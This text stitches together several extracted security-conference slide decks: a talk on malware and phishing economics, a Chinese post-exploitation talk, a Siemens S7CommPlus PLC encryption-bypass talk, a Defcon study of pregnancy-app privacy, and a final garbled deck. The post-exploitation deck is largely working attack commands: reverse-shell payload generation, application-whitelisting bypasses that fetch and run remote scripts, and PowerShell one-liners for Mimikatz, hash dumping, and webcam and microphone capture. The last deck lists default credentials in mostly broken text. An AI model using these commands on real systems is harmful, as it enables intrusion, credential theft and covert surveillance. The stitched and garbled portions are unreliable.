malware installs 65MB (!!) of .NET framework without the user being made aware of this Example: Haxdoor Identity-theft Trojan Advanced anti-removal and rootkit capabilities • Hides itself by hooking the System Service Dispatch Table (SSDT) • Auto-loads via WinLogon – It gets to load first • Sets itself to run in SafeBoot mode • Adds an autostart system service under various aliases • Creates a remote thread inside Explorer • Causes attempts to terminate it by AV software to terminate the AV program instead – Done by swapping the handles of the rootkit and the AV program Example: Haxdoor Identity-theft Trojan (ctd) Spyware capabilities • Captures all information entered into MSIE – Recognises financial-site-related keywords on web pages (“bank”, “banq”, “trade”, “merchant”, …) • Steals cached credentials (RAS, POP, IMAP, …) • Feeds info to servers running on compromised hosts One server held 285MB of stolen data from 9 days’ logging • 6.6 million entries, 39,000 distinct victim IP addresses – Probably much higher due to NAT’ing • Full access details for 280 bank and credit card accounts • Usernames and passwords for endless online accounts Anti-detection Mechanisms Change scanners’ abilities to view memory by hooking the virtual memory manager (Shadow Walker) Use kernel-mode thread injection to hide from scanners (Rustock) Use NT native API to create registry entry names that the Win32 API can’t process Unhook the malware from lists of processes, threads, handles, memory, … (FU rootkit) Won’t run if the system contains SoftICE, Filemon, Regmon, Visual Studio, Ethereal, … (Numerous) Won’t run under a VMM (Many) Anti-detection Mechanisms (ctd) Tricks with processor features (AMD64 memory-type- range registers) can even defeat hardware-based monitoring Joanna Rutkowska’s proof-of-concept “replacing attack” shows a different image to a PCI monitoring card than what’s actually there • Bounce access to physical memory address to I/O address space (memory-mapped I/O) • Point some device’s base address register into the target I/O space • Fill device memory with whatever you want the hardware monitor to see Anti-detection Mechanisms (ctd) Encrypt/obfuscate themselves to evade detection (too many to list) • IDEA virus encrypts itself with the algorithm of the same name to evade detection Randomised decryption (RDA) was introduced in the RDA Figher virus • Outer layer: Polymorphically-generated layer with up to 16 sub-layers • Inner layer: Encrypted with random 16-bit key – Second level of IDEA virus also uses RDA with 18-bit key • Virus needs to brute-force break its own encryption, making detection even harder Anti-detection Mechanisms (ctd) Polymorphism and RDA rendered pattern-based scanning ineffective 5-10 years ago • Current scanners use behavioral analysis via heuristics and symbolic execution • Zmist virus requires 2M code cycles to detect reliably – Emulated x86 may multiply this by a factor of 100 – Then multiply again by x0,000 files on a system • Virii using techniques like this are effectively undetectable A quick solution delivery for metamorphic virus detection should become a huge team effort at AV companies. Exact identification becomes a problem even for humans — Virus Bulletin Anti-detection Mechanisms (ctd) • Etap/Simile uses spread-spectrum style decryption – Maximum-sequence RNG identifies the next byte to decrypt – Avoids triggering memory-access-pattern detection • Etap/Simile decryptor contains anti-emulation code – Metamorphic RDTSC-based header causes the virus to not trigger 50% of the time – Half the infected files won’t be detected as a virus under emulation Anti-detection Mechanisms (ctd) Anti-virus vendors notice users performing online scans of small variations on a theme • These are VX’ers checking for detectability The most popular brands of antivirus on the market […] have an 80 percent miss rate. That is not a detection rate that is a miss rate. So if you are running these pieces of software, eight out of 10 pieces of malicious code are going to get in — Graham Ingram, General Manager, AusCERT Anti-detection Mechanisms (ctd) Other rootkit vendors will modify their code to evade the virus scanner of your choice for a fixed fee ($25-50) AFX Rootkit 2005 by Aphex Undetected rootkits are on sale for $100 each. Payment by paypal, egold, western union, check or money order! Hackers working mutually on numerous rootkit projects are able to modify implementations to defeat detectors faster than corporations can offer a change — Eric Uday Kumar, Authentium Anti-detection Mechanisms (ctd) The professionalism of these rootkits is coming to another level — Allen Schimel, StillSecure Example: Hacker Defender rootkit Available as Bronze/Silver/Golden/Brilliant Hacker Defender, hxdef.czweb.org • €150 (Bronze)/240 (Silver)/450 (Gold)/580 (Brilliant) layered add-on rootkit • Commercial version of Hacker Defender Anti-detection engine detects anti-virus software before it can detect the rootkit • Works like a virus scanner in reverse • Removes its kernel hooks if a rootkit-scanner is run to evade detection by the scanner Example: Hacker Defender rootkit (ctd) Uses signature-based detection to detect anti-rootkit tools • The same techniques that the anti-malware tools use to find rootkits, only the rootkit gets there first – Anti-rootkit tools are using rootkit-style stealth techniques to avoid this • Updated on a subscription basis like standard virus scanners Comprehensive real-time virus protection against all known Anti-Virus threats Example: Hacker Defender rootkit (ctd) Author “Holy Father” was killed in a car accident, New Year 2007 • Has proven the business model • Others have followed, e.g. HangUp Team in Russia, hangup.da.ru Other types of malware are also available for purchase • Example: WebAttacker malware kit sells for $15-20, www.inet-lux.com (Russian site) Phishing Mechanisms Attacker controls the DNS • Server compromise – 10% of DNS servers scanned in late 2005 were vulnerable to DNS cache poisoning – Used in one attack to redirect visitors to cnn.com and msn.com to spyware sites • Bribing/blackmailing ISPs • Virus changes the victim’s DNS server entries (“pharming”) – Can be used to disable security updates – (Fake) windowsupdate.com: Your system is up to date and doesn’t need any security fixes Phishing Mechanisms (ctd) • Script in phishing email rewrites the victim’s hosts file – As for direct DNS compromise • Many DNS providers ignore TTL’s – Invalid DNS entries can take weeks to correct Trojans control the victim’s PC • Sniff keystrokes and mouse clicks • Use screen scraping to get around graphical keyboards and PIN-pads – Mostly popular in Europe and South America, US banks haven’t even got past unencrypted logon pages yet • Render copies of genuine bank pages from the browser cache Phishing Mechanisms (ctd) Trojan installs itself as a browser help object (BHO) • Watches for access to a who’s who of banking sites around the world • Captures banking details before they go into the SSL layer • Uses HTML injection to capture TANs (one-time PINs) for banking sites (MetaFisher) Phishing Mechanisms (ctd) Use typo-squatting to install malware • googkle.com infects visitors with trojans, backdoors, and spyware • Popups redirect to third-party sites loaded with downloader scripts • Use assorted exploits to download more tools containing further exploit code • Just one of these downloaded exploit packages contains two backdoors, two trojan droppers, a proxy trojan, a spyware trojan, and a further trojan downloader • Another trojan dropper infects the Windows system folder and modifies the hosts file to prevent access to anti-virus sites • Another generates a fake virus alert and directs the user to another trojan-riddled site Example: Grams egold siphoner Invades the victim’s PC via the usual attack vectors Uses OLE automation to spoof the user’s actions • Uses the IConnectionPointContainer OLE object to register event sinks for the IWebBrowser2 interface • Checks for accesses to e-gold.com • After user has logged on, uses IWebBrowser2::Navigate to copy the account balance window to a second, hidden window • Uses IHTMLInputHiddenElement:get_value to obtain account balance • Uses OLE to set Payee_Account and Amount • Uses IHTMLElement::click to submit the form • Waits for the verification page and again submits the form Example: Grams egold siphoner (ctd) Defeats any existing authentication method • Passwords, SecurID, challenge-response calculator, smart card, … This method of account looting bypasses all authentication methods employed by banking institutions, and is expected to become very popular […] Since the trojan uses the victim’s established SSL session and does not connect out on its own, it can bypass personal and corporate firewalls and evade IDS devices — LURHQ security advisory on the trojan Availability of Private Data Stolen personal information is so easily available that the best protection is that crooks simply can’t use it all • Number of identities stolen in an 18-month period from Feb’05 — Jun’06: 89 million (Privacy Rights Clearinghouse) • The smaller the breach, the greater the chance of the information being misused by crooks Fraudsters […] can use roughly 100 to 250 [stolen identities] in a year. But as the size of the breach grows, it drops off pretty drastically — Mike Cook, ID Analytics • A bit like recommending that all householders leave their doors unlocked and alarms disabled, since crooks won’t be able to get around to robbing all of them Availability of Private Data (ctd) Social security numbers (SSNs) and other information can readily be bought online • $35 from secret-info.com • $45 from iinfosearch.com Several sites sell full Social Security numbers, potentially contributing to an epidemic of identity theft — Washington Post • Unisys study found that about half of all financial institutions use the SSN to verify customer identity Availability of Private Data (ctd) Prices for a CD or DVD of stolen data in Gorbushka market, Moscow • Cash transfer records from Russia’s central bank: $1,500 • Tax records, including home addresses and incomes: $215 • Mobile phone company’s list of subscribers: $43 • Name, birthday, passport number, address, phone number, vehicle description, and VIN for every driver in Moscow: $100 In Sao Paulo, Brazil, can buy a CD with full Brazilian tax records • Due to the size of the required support infrastructure, tax records are fairly leaky in most countries Availability of Private Data (ctd) Some of this information is also available in places like the US • $110 to locatecell.com buys a month’s worth of phone records • Other sites sell similar information for $90-150 – Reputable firms work around problems in obtaining the information by farming it out to contractors and not asking questions Information security by carriers to protect customer records is practically nonexistent and is routinely defeated — Robert Douglas, privacy consultant Availability of Private Data (ctd) To see how dangerous this could get, a blogger tried buying the call records for Supreme Allied Commander of NATO (SACEUR), General Wesley Clark • Cost $89.95 from celltolls.com • Required only the cellphone number and a credit card number • This seems to be explicitly permitted by US law A provider […] may divulge a record or other information pertaining to a subscriber to or customer of such service […] to any person other than a governmental entity — 18 USC 2702 – Intent was to allow sale for marketing purposes, but limit government intrusion What Should I Do? (Non-geeks) Put your head between your legs and … What Should I Do? (Geeks) Disable all Windows networking and RPC services (about 2/3 of all Windows services) • No noticeable effect on system usability • Closes all ports • Total Windows kernel memory usage should be ~100MB • Need to hack the registry and other obscure things Browse the web from a browser running on a locked-down Unix box with ‘nobody’ privileges • Use a graphic-image-only forwarding protocol to view the result under Windows • Use NoScript (or equivalent) set the maximum blocking What Should I Do? (Geeks) (ctd) Read mail on a locked-down Unix box using a text-only client that doesn’t understand MIME Run all Internet-facing programs (Word, etc) under DropMyRights as ‘Guest’ or (standard, non-Power) ‘User’ Conclusion These aren’t script kiddies any more • Their experts are as as good as anything we’ve got More at http://www.cs.auckland.ac.nz/~pgut001
pdf
Shell is Only the Beginning——后渗透阶段的攻防对抗 3gstudent & Evi1cg As a offensive researcher, if you can dream it,someone has likely already done it and that someone isn’t the kind of person who speaks at security cons… ——Matt Graeber 3gstudent Good$Study Good$Health Good$Attitude$ Evi1cg Thin WhiteHat Security$Researcher 后渗透阶段 渗透测试 以特定的业务系统作为目标,识 别出关键的基础设施,并寻找客 户组织最具价值和尝试进行安全 保护的信息和资产 黑客攻击 黑客对攻击战果进一步扩大,以 及尽可能隐藏自身痕迹的过程 • 打开一扇窗 • Open Proxy • 绕过看门狗 • Bypass Application Whitelisting • 我来作主人 • Escalate Privileges • 屋里有什么 • Gather Information • 我来抓住你 • Detection and Mitigations • 挖一个密道 • Persistence 目录 打开一扇窗 Open Proxy 为什么用代理? • 更好地接触到目标所处环境 • 使用已有shell的机器作为跳板,扩大战果 • It’s the beginning 常用方法 端口转发:Client-> Lcx, Netsh; HTTP-> Tunnel; Metasploit-> Portpwd Socks代理:Client-> Ew,Xsocks; HTTP-> ReGeorg; Metasploit-> Socks4a 其他:SSH, ICMP 等 Vpn ! 然而,我们可能会碰到这样的情况: • 安装杀毒软件,拦截“恶意”程序 • 设置应用程序白名单,限制白名单以外的程序运行 eg:Windows Applocker Windows AppLocker 简介: 即“应用程序控制策略”,可用来对可执行程序、安装程序和脚本进行控制 开启默认规则后,除了默认路径可以执行外,其他路径均无法执行程序和脚本 绕过看门狗 Bypass Application Whitelisting 绕过思路 ü Hta ü Office Macro ü Cpl ü Chm ü Powershell ü Rundll32 ü Regsvr32 ü Regsvcs ü Installutil … 1、Hta More: • Mshta.exe vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.cl ose) • Mshta.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe ",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveX Object("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} 2、Office Macro MacroRaptor: • Detect malicious VBA Macros • Python • https://bitbucket.org/decalage/oletools/wiki/mraptor 3、Cpl DLL/CPL: 生成Payload.dll: msfvenom -p$windows/meterpreter/reverse_tcp -b$‘\x00\xff’$lhost=192.168.127.132$lport=8888$-f$dll -o$payload.dll (1)$直接运行dll: rundll32$shell32.dll,Control_RunDLL$payload.dll (2)$将dll重命名为cpl,双击运行 (3)$普通的dll直接改后缀名 From: http://drops.wooyun.org/tips/16042 4、Chm 高级组合技打造“完美” 捆绑后门: http://drops.wooyun.org/tips/14254 利用系统CHM文件实现隐蔽后门: 《那些年我们玩过的奇技淫巧》 5、Powershell Command: • powershell -nop -exec$bypass$-c$IEX$(New-Objectet.WebClient).DownloadString('http://ip:port/') • Get-Content$payload.ps1$|$iex • cmd.exe7/K7<7payload.bat Lnk: • powershell -nop -windows7hidden7-E7YwBhAGwAYwAuAGUAeABlAA== 如果禁用powershell: • 通过.Net执行powershell: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ • p0wnedShell: https://github.com/Cn33liz/p0wnedShell • PowerOPS: https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/ 6、Rundll32 javascript : rundll32.exe$javascript:“\..\mshtml,RunHTMLApplication ”;document.write();new%20ActiveXObject(“WScript.Shell”).Run(“powershell -nop - exec$bypass$-c$IEX$(New-Object$Net.WebClient).DownloadString(‘http://ip:port/’);”) Dll: rundll32$shell32.dll,Control_RunDLL$payload.dll From: http://drops.wooyun.org/tips/11764 7、Regsvr32 Regsvr32.exe(.sct): 三种启动方式: regsvr32$/u$/n$/s$/i:payload.sct scrobj.dll regsvr32$/u$/n$/s$/i:http://ip:port/payload.sct scrobj.dll 右键注册 From:$$$$$$$$$$$$$$ http://subt0x10.blogspot.jp/2016/04/bypass-application-whitelisting-script.html$$$$http://drops.wooyun.org/tips/15124 8、Regsvcs Regasm &7Regsvcs: 创建key ->$key.snk $key$=$ ‘BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVA gSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC5 31ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitoluf o7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU 0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHc gJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3r pZ9tbLZUefrFnLNiHfVjNi53Yg4=’ $Content$=$[System.Convert]::FromBase64String($key) Set-Content$ key.snk -Value$$Content$-Encoding$Byte 编译: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.cs 运行: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll [OR] C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll //如果没有管理员权限使用/U来运行 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U$Regasm.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U$Regasm.dll From: https://gist.github.com/subTee/e1c54e1fdafc15674c9a 9、Installutil InstallUtil: 编译: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe$ /platform:x64$/out:InstallUtil.exe InstallUtil.cs 编译以后用/U参数运行: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U$ InstallUtil.exe From: http://subt0x10.blogspot.jp/2015/08/application-whitelisting-bypasses-101.html$ $http://drops.wooyun.org/tips/8862 10、可执行目录 通过ps脚本扫描可写入的路径,脚本下载地址:http://go.mssec.se/AppLockerBC From: http://drops.wooyun.org/tips/11804 11、最直接的方式 提权 我来作主人 Escalate Privileges 常见的提权方式 • 本地提权漏洞 • 服务提权 • 协议 • Phishing 本地提权 根据补丁号来确定是否存在漏洞的脚本: https://github.com/GDSSecurity/Windows-Exploit-Suggester 将受害者计算机systeminfo导出到文件: Systeminfo > 1.txt 使用脚本判断存在的漏洞: python$windows-exploit-suggester.py--database$2016-05-31-mssb.xls$-- systeminfo ~/Desktop/1.txt 可能遇到的问题 Exp被杀! 将Exp改成Powershell: http://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html Demo Time 服务提权 常用服务: Mssql,Mysql,Oracle,Ftp 第三方服务: Dll劫持,文件劫持 提权脚本Powerup: http://drops.wooyun.org/tips/11989 协议提权 利用已知的Windows中的问题,以获得本地权限提升 -> Potato 其利用NTLM中继(特别是基于HTTP > SMB中继)和NBNS欺骗进行提权。 详情: http://tools.pwn.ren/2016/01/17/potato-windows.html Phishing MSF Ask模块: exploit/windows/local/ask 通过runas方式来诱导用户通过点击uac验证来获取最高权限。 需要修改的msf脚本 metasploit/lib/msf/core/post/windows/runas.rb Phishing Demo 屋里有什么 Gather Information Gather Information 成为了主人,或许我们需要看看屋里里面有什么? 两种情况: 1:已经提权有了最高权限,为所欲为 2:未提权,用户还有UAC保护,还不能做所有的事情 Bypass UAC 常用方法: ü 使用IFileOperation COM接口 ü 使用Wusa.exe的extract选项 ü 远程注入SHELLCODE 到傀儡进程 ü DLL劫持,劫持系统的DLL文件 ü 直接提权过UAC ü Phishing http://evi1cg.me/archives/Powershell_Bypass_UAC.html ü http://www.powershellempire.com/?page_id=380 有了权限,要做什么 搜集mstsc记录,浏览器历史记录,最近操作的文件,本机密码等 键盘记录 屏幕录像 Netripper GetPass Tips 通过脚本弹出认证窗口,让用户输入账号密码,由此得到用户的明文密 码。 powershell脚本如下: From:https://github.com/Ridter/Pentest/blob/master/note/Powershell_MSFCapture.md GetPass Tips MSF模块 post/windows/gather/phish_windows_credentials 更多参考 Installed Programs ﹒Startup Items Installed Services ﹒Security Services ﹒File/Printer Shares ﹒DatabaseServers ﹒Certificate Authority Sensitive Data ﹒Key-logging ﹒Screen capture ﹒Network traffic capture User Information System Configuration ﹒Password Policy ﹒Security Policies ﹒Configured Wireless Networks and Keys 新的攻击方法 无文件 无文件姿势之(一)-Powershell 屏幕监控: powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://evi1cg.me/powershell/Show-TargetScreen.ps1’); Show-TargetScreen” 录音: powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1’);Get- MicrophoneAudio -Path $env:TEMP\secret.wav -Length 10 -Alias ‘SECRET’” 摄像头监控: powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1’); Capture-MiniEye -RecordTime 2 - Path $env:temp\hack.avi”-Path $env:temp\hack.avi” 抓Hash: powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes 抓明文: powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz 无文件姿势之(一)-Powershell Empire: Metasploit: 无文件姿势之(二)- js JsRat: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest. 5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.S end();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WSc ript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} From:$$$$$$$$$$$$$ 《JavaScript$Backdoor$》 http://drops.wooyun.org/tips/11764 《JavaScript$Phishing》 http://drops.wooyun.org/tips/12386 无文件姿势之(三)- mshta 启动JsRat: Mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp .WinHttpRequest.5.1");h.Open("GET","http://192.16 8.2.101:9998/connect",false);try{h.Send();b=h.Res ponseText;eval(b);}catch(e){new%20ActiveXObject(" WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} 无文件姿势之(四)- sct SCT: regsvr32 /u /s /i:http://urlto/calc.sct scrobj.dll Calc.sct From:$$ 《 Use$SCT$to$Bypass$Application$Whitelisting$Protection$》http://drops.wooyun.org/tips/15124 无文件姿势之(五) - wsc Wsc: rundll32.exe javascript:"\..\mshtml,RunHTMLApplic ation ";document.write();GetObject("script :http://urlto/calc.wsc") Calc.wsc From:$$$$$$$$$$$$$ 《 WSC、JSRAT$and$WMI$Backdoor$》http://drops.wooyun.org/tips/15575 Demo Time 挖一个密道 Persistence 常见方法 ü启动项 ü注册表 üwmi üat üschtasks ü利用已有的第三方服务 新方法 Bitsadmin: • 需要获得管理员权限 • 可开机自启动、间隔启动 • 适用于Win7 、Win8、Server 2008及以上操作系统 • 可绕过Autoruns对启动项的检测 • 已提交至MSRC(Microsoft Security Response Center) Demo Time 我来抓住你 Detection and Mitigations Detection and Mitigations • bitsadmin /list /allusers /verbose • Stop Background Intelligent Transfer Service Detection and Mitigations 关注drops Special thanks to Casey Smith @subTee Reference 1、Shell is Only the Beginning quote from Carlos Perez’s Blog http://www.darkoperator.com/ 2、 Matt Graeber’s idea quote from https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A- Persistent%20Asynchronous-And-Fileless-Backdoor.pdf Q & A 3
pdf
The spear to break the security wall of S7CommPlus CHENG LEI , NSFOCUS Related Work • Dillon Beresford. Exploiting Siemens Simatic S7 PLCs. Black Hat 2011 USA. S7Comm protocol • Ralf Spenneberg et. al. PLC-Blaster: A Worm Living Solely in the PLC. Black Hat 2016 USA Early S7CommPlus protocol • This talk mainly focus on the current encrypted S7CommPlus protocol Programmable Logic Controllers (PLC) is responsible for process control in industrial control system. A PLC contains a Central Processing Unit (CPU), some digital/analog inputs and outputs modules, communication module and some process modules like PID. What is PLC S7-300 • S7-200,S7-300,S7-400 using the S7Comm protocol S7-1500 S7-1200 • S7-1200v3.0 using the early S7CommPlus protocol • S7-1200v4.0, S7-1500 using the current encrypted S7CommPlus protocol Siemens PLCs TIA Portal is the configuration and programming software for Siemens PLCs. TIA Portal Replay Attack • Replay attacks have been widely used in PLC attacks. • Get the communication sequence packets with the help of Wireshark S7CommPlus Protocol • The current S7CommPlus protocol including the S7CommPlus Connection packets and S7CommPlus Function packets has a similar structure. • 1. First Connection Setup Request • 2. Frist Connection Setup Response • 3.Second Connection Setup Request • 4.Function Packet—Stop PLC S7CommPlus Protocol • Session ID: Session ID = Object ID+0x80 S7CommPlus Protocol • Encryption Part: 1. The second connection packet has two encryptions 2. The function packet has one encryption(Integrity Part) Fun with the Encryption • Using reverse debugging techniques, we found these encryption is calculated by TIA Portal through a file named OMSp_core_managed.dll 1. Connection packet encryption Input parameter for this encryption is a random value array generated by the PLC in the first connection response packet. Fun with the Encryption (1) First encryption in the connection packet Using XOR (we call this Encryption1), the first encryption can be calculated with the input parameter Value Array. Value Array +Encryption1 = First Encryption Fun with the Encryption (2)Second encryption in the connection packet Using the result of the first encryption as input parameter, the second encryption is calculated through a more complex Siemens-private algorithm. First Encryption +Encryption2 = Second Encryption Fun with the Encryption 2. Function packet encryption A fixed field array with Session ID is the input parameter. A complex algorithm (we call this Encryption3) is used to calculated the encryption result as follow: ConstanArray +Encryption3 = Function Encryption (with Session ID) Fun with the Encryption 3. S7CommPlus Communication with Encryption Protections • Code level: -- Use code confusion techniques and anti-Debug techniques for the key DLL files • Design level -- use a private key as an input parameter for encryption algorithm in the communication between Siemens software and PLCs. • Protocol level -- Encrypt the whole packets instead of the key byte encryption chengleim19@gmail.com
pdf
Defcon 25 The Internet Already Knows I’m Pregnant Kashmir Hill - kashmir.hill@gizmodomedia.com - @kashhill Cooper Quintin - cooperq@eff.org - @cooperq Defcon 25 Intro Kashmir • Journalist • Privacy Expert • New Mother Cooper • Hacker • Privacy Activist • Cares about privacy issues for people with wombs Defcon 25 Skill sets Kash Cooper Defcon 25 Defcon 25 How to hide a baby bump Defcon 25 Retailers want to know who’s preggers Defcon 25 How not to hide it Defcon 25 What apps we tested pTracker Glow nurture clue eve what to expect pregnancy+ webmd baby pinkpad flo my calendar (Book) mycalendar (Face) fertility friend get baby babypod BabyBump Ovia The Bump Maya Defcon 25 The logos Defcon 25 Defcon 25 Why people use these apps Defcon 25 What these apps ask about Defcon 25 Who figured out I was pregnant Twitter Defcon 25 These people. (My inbox at 6 months) Defcon 25 Fun with Fine Print What To Expect privacy policy 4000 words = 8 pages long Defcon 25 The What to Expect ‘Select Partners’ List Defcon 25 How This Can Go Wrong Not everyone who gets pregnant stays pregnant. Defcon 25 Fun with Fine Print The Bump privacy policy 4700 words = 10 pages Defcon 25 Baby’s First Wiretap If you use this feature to call a third party, we will record the phone call and any message you leave for the third party, as well as call information such as the number dialed, the date and time of the call and its duration, and your location as determined by your area code or as otherwise permitted. Defcon 25 WTF ~Contacted The Bump~ Their response: “[W]e do not record phone calls. The language is legacy language from prior contemplated features for The Knot that we do not use in either The Knot or The Bump apps. I've sent a note to my legal team to update this language in our privacy policy.” Defcon 25 Fun with Fine Print Ovia Terms of Use 6,100 words = 14 pages Defcon 25 Downloader, beware “Please do not ask Ovia Health for--or rely on--anything we communicate as medical advice. Although our apps, website, images, content, and communications may reference medical topics, we make no warranty whatsoever that any of the articles are accurate, up to date, or error free. ” Defcon 25 Defcon 25 Trust Issues RESULTS: “Data from 20 websites and 33 apps were collected. Of all the websites and apps used, one web site and three apps predicted the precise fertile window.” Defcon 25 Their Findings Defcon 25 The Pregnancy Panopticon Defcon 25 Sorry, Ellev Defcon 25 Our Findings Defcon 25 Methods • Static Analysis – JADX APK Decompiler – Android Studio • Dynamic Analysis – MITM Proxy • Kryptowire Defcon 25 Methods - JADX & Studio Defcon 25 Methods - MITM Proxy Defcon 25 Methods - Kryptowire Defcon 25 Methods - Kryptowire Defcon 25 Code Execution and Content Injection • HTML sent over plaintext and rendered directly. • MITM Attacker could easily execute arbitrary javascript. Defcon 25 Account Hijacking • Pinkpad • WebMD Baby • My Calendar • The Bump Defcon 25 Personal Information Leaks • Why does pinkpad send my location to the server every time it starts? • Email, Name, Gender, Pregnancy status, etc. Defcon 25 Look at this fucking text file Defcon 25 Third Party Tracking Defcon 25 Pin Locks • 4 character limit • Trivial to brute force • No protection against root access • “I forgot my code…” • Probably shouldn’t rely on this Defcon 25 Files Not Deleted • The Bump • Upload pictures of pregnancy progress, ultrasounds, baby photos, etc. • Once you delete the pictures… • They aren’t really deleted but simply unlinked from your account. Still available on the public internet. Defcon 25 Permissions • Location - Glow, WTE, Preg+, WebMD, Pinkpad, Baby Bump, Ovia Pregnancy, Ovia Fertility, Maya • Contacts - Eve, Preg+, WebMD, BabyBump, Ovia Pregnancy • Device ID - Glow, Eve, WTE, Pinkpad, BabyBump, The Bump • Phone - Glow, Preg+, TheBump, Baby Bump • SMS - Preg+ Defcon 25 Certificate Pinning! • Glow, Nurture, Eve, Clue all implement certificate pinning. • My bank doesn’t even do this! • Seems a little extra though... Defcon 25 Vendor Response Defcon 25 Vendor Response • We contacted all of the vendors that had security problems • WTE, WebMD, Preg+, Alt12, MyCalendar (both), Glow, Ptracker • We received a response back from pTracker and Glow, who fixed the issues. • Everyone else ignored or sent a form letter. Defcon 25 More Vendor Response Kash heard back from everyone she emailed about privacy and policy issues, except for Everyday Health Inc. (What To Expect app) and alt12. Companies pay attention to journalists… or at least better understand what we’re telling them about. Defcon 25 What Can Hackers Do • There are real threat models that none of these apps protect against. • We need to convince app writers to take security and privacy issues more seriously. Defcon 25 These apps were useful for my first pregnancy… But the privacy tradeoffs might not be worthwhile Defcon 25 Thanks! • Thanks to Kryptowire for donating their analysis services. • Thanks to Dave Choffnes and Jingjing Ren for help with Recon analysis. • Thanks to Gizmodo Media and EFF for supporting this research. • Thanks to Defcon, Nikita, and the Goons! • Thanks to Ellev for inspiring this research! Defcon 25 Questions? Kashmir Hill kashmir.hill@gizmodomedia.com - @kashhill Cooper Quintin cooperq@eff.org - @cooperq https://jezebel.com/what-happens-when-you-tell-the-internet-youre-pr egnant-1794398989 https://www.eff.org/wp/pregnancy-panopticon
pdf
- 0. 1 1 2 3 ( • lSIXe14BC 065 • 44Al Xe • X1 • U • NA5 • lrQ0 b • 0iT • ku t • g vDm • H NP • lo dM • ax13 v • 2n404 • G 4 • rZbla EAFm • ew • U8BAF • B88FPir • h1F 3E8FPi n • R88t R • rEF TNc • E3 • T f • osd51.BEE E3 • h2E9DEEw • RZ7FEBEED OW • 1RkNC803 • 3EB8F6Dg0FED S 5 (3102r Ø9VS Ør3ai l(3102 032a99n l9lV 9tM ØescWo 0,33)Oe9 wO T() (3102 fd(3102 (3102fd 1 6 ()regT ØTP l,21110lT6 c,2,12 Øt lTcnDZoi6D DA6 7 9e Ø l89 Gy593C Ø l0)(, u)(,3 921K )(, 8 Tr Ø lsw,1 wybyinVe ,, Ø lac ws pm)2(10 9 10 https://www.ithome.com.tw/news/142729 5 Ø l 4Bn 63n Ø l 6 l un10 dG2 l 7 ) () l 0., 11 ()s ØT l2k01 rra Ø l( del 5V() 12 13 021 14 15 16 17 18 19 • • / • • 33#/0.//333/03 _ S a a : a S S S 20 • VPD DRD • DD DN N D 21 • icoeo Zi . 1 • 212 M ) (3aB h TcVODn nMHr 22 EVMtD tD RO RVI p V root/icatch99 report/8Jg0SR8K50 p V admin/123456 iF p 117.56.0.0 p 61.60.0.0 23 p p86A 24 ,CD 0 B0 •0 •( •1) • •( 2 D D (D )D D E 44 144 365 315 113 981 17 0 106 532 4,981 679 6,298 B0 46 122 155 84 20 427 2 90 372 1,052 5,380 812 7,706 2157 6 6 *6 6 8 0 0 0 25 07943 26 0 9302 